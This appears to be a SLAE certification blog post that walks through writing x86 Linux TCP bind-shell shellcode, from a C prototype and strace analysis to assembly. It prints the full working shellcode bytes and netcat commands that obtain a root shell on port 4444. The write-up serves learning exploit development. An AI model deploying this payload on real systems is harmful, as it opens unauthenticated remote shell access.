Assignment 1
This blog post has been created for completing the requirements fo the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert
Student ID: SLAE-824
Requirements
- Create a Shell Bind TCP shellcode
- Bind to a port
- Execs Shell on incoming connection
- Port number should be easily configurable
Strategy
My approach to building a tcp bind shell shellcode will be to:
- Create a C program which illustrates the basic functionality
- Analyze the C program system calls to see how the program interacts with the kernel to accomplish its tasks
- Lookup the system calls and see what arguments and structures they take
- Attempt to write some assembly that calls the same system calls in the same order with the same arguments as the C program does
- Debug issues as of course there will be :)
The Source Code
The source code and tools referenced in this article can be found here: The Source Code and Tools
The C program
From my experience playing around with socket programming in C and Python, there is a basic formula and group of function calls for creating clients and servers. Most of them will be useful to us. A couple won’t be applicable to our situation. The functions we will find useful are:
- Socket: Open a socket over which we will communicate. Essentially a file descriptor
- Bind: Bind our socket to an interface on our system
- Listen: Tell our system that we are ready to start accepting connections
- Accept: Accept the connection. This is a necessary next step as listen will generally queue up connections in anticipation of them being accepted
Functions we won’t worry about:
- Send
- Recv
- Connect
- Close
We won’t worry about send or recv because they are used for managing the flow of data coming in and out and acting accordingly. We are instead going to just redirect stdin, stdout, and stderr over the socket using a function called dup2 and not worry about managing the flow of data. Since we aren’t connecting to another system/server we don’t need to worry about connect. And as for close, it is generally good practice to close files after your done with them but one leaked file descriptor won’t hurt anyone right? We need to trim the fat!
The final step after we get our redirection going is we just need to
run a program, in our case /bin/sh
and its output and input should
be connected to our socket. We can run this program using execve
.
So lets get some code going!
Compiling this code with gcc bindshell.c -o bindshell
gives us a
nice executable. Running the executable with ./bindshell
and then
looking at our network using netstat -antp
yields something very
interesting:
Excellent! We have /bin/sh listen bound to a port. If we open up
another terminal and use netcat to connect to port 4444 by running nc
-nv -nv 127.0.0.1 4444
we will get:
root@blahblah:~# nc -nv 127.0.0.1 4444 (UNKNOWN) [127.0.0.1] 4444 (?)
open id uid=0(root) gid=0(root) groups=0(root)
Perfect! We have a tcp bind shell connection. Now we have to convert this to assembly…
Analysis of the C program
We can use a tool called strace
to help us learn more about what system calls
our bind shell c program is making. Running strace ./bindshell
, connecting
to the bindshell with nc -nv 127.0.0.1 4444
and filtering out the noise
we will see:
root@blahblah:~/shared/SLAE/slae/exercise1# strace ./bindshell
execve("./bindshell", ["./bindshell"], [/* 41 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 0) = 0
accept(3,
dup2(4, 0) = 0
dup2(4, 1) = 1
dup2(4, 2) = 2
execve("/bin/sh", [0], [/* 0 vars */]) = 0
Ok. It looks like our code makes some system calls that seem to align with the
functions we know to be part of our socket programming formula along with the
stdin, stdout, and stderror redirection and our execve
call to run /bin/sh.
Lets lookup the system calls to find out their system call numbers. We will
consult /usr/include/i386-linux-gnu/asm/unistd_32.h
for these numbers…
When we consult the listing of syscalls we encounter a bit of confusion. The only system calls that seem to closely match up with what we saw in our strace are:
#define __NR_execve 11
#define __NR_dup2 63
#define __NR_socketcall 102
#define __NR_mbind 274
This is strange. execve
and dup2
look good but there doesn’t seem to be
any syscall numbers for socket,listen, or accept. socketcall seems a bit odd
as does mbind so we will have to look into this.
Consulting man socketcall
we learn:
int socketcall(int call, unsigned long *args);
/**
socketcall() is a common kernel entry point for the socket system
calls. call determines which socket function to invoke. args points
to a block containing the actual arguments, which are passed through
to the appropriate call.
User programs should call the appropriate functions by their usual
names. Only standard library implementors and kernel hackers need to
know about socketcall().
**/
So that seems to explain things a little bit. The first argument to socketcall is a number that represents the actual socket api function that we want to be calling. Ok… Where do we get the number associated with each of the api calls?
A little Google search for socketcall call numbers brings us:
In this blog post we confirm our knowledge about the first argument of
socketcall as well as learn about /usr/include/linux/net.h
Lets checkout that file and see if we can learn the numbers we are looking for.
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
// ... snip
So it looks like the mbind
syscall we saw earlier might not be
necessary as it looks like there is a bind
syscall number that we
can call with socketcall
. We’ll try that out and see how that goes.
Now that we know the syscalls and their corresponding numbers, we need to figure out their function signatures so that we know what sort of arguments we need to be passing to them when we invoke them. The metnod signatures look like the following:
We also leveraged 2 structs in our C program which we will most likely need to replicate.
Ok. Using what we have gathered from our analysis lets take an attempt at writing some assembly!
Assembly: Take 1
Lets lookup some values of constants:
~/usr/src/linux-headers-4.0.0-kali1-common/include/linux/socket.h~
#define AF_INET 2 /* Internet IP Protocol */
I had a hard time finding where SOCK_STREAM
was defined so we use
a little gcc magic to see what the macro expands to:
root@blahblah:~/shared/SLAE/slae/exercise1# gcc -DN -E bindshell.c | grep SOCK_STREAM
SOCK_STREAM = 1,
int lsock = socket(2, SOCK_STREAM, 0);
#define INADDR_ANY ((unsigned long int) 0x00000000)
When we compile the above shellcode using the compile.sh script below:
root@blahblah:~/shared/SLAE/slae/exercise1# ./compile.sh bindshellasm
And run the shellcode using:
root@blahblah:~/shared/SLAE/slae/exercise1# ./bindshellasm
And connect using netcat:
#!/bin/bash
root@blahblah:~/shared/SLAE/slae/exercise1# nc -nv 127.0.0.1 4444
(UNKNOWN) [127.0.0.1] 4444 (?) open
id
uid=0(root) gid=0(root) groups=0(root)
Bingo! Our assembly works and gives us a tcp bind shell. Now we need to test it in our c program stub. We will use some command line fu to get the opcodes from our binary:
root@funos:~/shared/SLAE/slae/exercise1# objdump -d ./bindshellasm|grep '[0-9a-f]:'| \
grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '\
|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x53\x6a\x02\x89\xe1\xcd\x80\x31"
"\xff\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x31\xc9\x51\x66\x68\x11\x5c\x66"
"\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04"
"\x31\xc9\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xc9\x51"
"\x51\x57\x89\xe1\xcd\x80\x31\xdb\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49"
"\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x31\xc9\x31\xd2\xcd\x80"
We add our opcodes to a stub tester C program:
Compile with: gcc shellcode.c -o shellcode
Run with: ./shellcode
Connect with: nc -nv 127.0.0.1 4444
And it works! We get our shell. The shellcode is 122 bytes without really trying to optimize. We can always go back and try to optimize. We also need to update the program to make the port number easily configurable.
Let’s write a wrapper script to set our port. We just accept the port as a command line argument to our script and interpolate it into our shellcode and print out the result:
Once we have our script we print out our updated shellcode and pop it back into our shellcode.c stub program, compile and test a connection. When we do, we get our shell again. And even better, we can change the port to whatever we would like to yield the proper shellcode.